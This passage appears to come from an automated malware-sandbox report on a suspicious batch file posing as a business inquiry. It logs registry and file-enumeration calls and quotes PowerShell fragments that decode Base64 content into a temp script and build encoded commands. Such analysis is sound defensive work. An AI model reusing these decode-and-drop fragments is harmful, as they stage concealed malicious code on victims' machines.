"00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "RegSaveKeyExW" in "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "RegOpenKeyW" in "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "RegSaveKeyW" in "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "NtQueryKey" in "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004500.00000001.157884.E016A000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00004500.00000001.157884.E016A000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004500.00000001.157884.E016A000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004500.00000001.157884.E016A000.00000002.mdmp"4f:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004500) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00004500) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00004500) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00004500) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00004500) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00004500) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00004500) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00004500)50:T1a16,file/memory contains long string with (Indicator: "base64"; File: "Inquiry 46250 BSTM A240-TP 316L.bat") file/memory contains long string with (Indicator: "FromBase64String"; File: "Inquiry 46250 BSTM A240-TP 316L.bat") file/memory contains long string with (Indicator: "aes"; File: "Inquiry 46250 BSTM A240-TP 316L.bat") file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "base64"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000000.157721.62050000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found string "{ [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])) | Out-File -FilePath "C:\Users\HAPUBWS\AppData\Local\Temp\Everyday.ps1" -Encoding UTF8 } } catch {}" (Indicator: "base64"; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp") Found string "{ [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])) | Out-File -FilePath "C:\Users\HAPUBWS\AppData\Local\Temp\Everyday.ps1" -Encoding UTF8 } } catch {}" (Indicator: "FromBase64String"; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000000.157721.47DA0000.00000004.mdmp, 00000000-00004500.00000000.157721.49640000.00000004.mdmp, 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47DA0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000000.157721.47DA0000.00000004.mdmp, 00000000-00004500.00000000.157721.49640000.00000004.mdmp, 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47DA0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "[-WindowStyle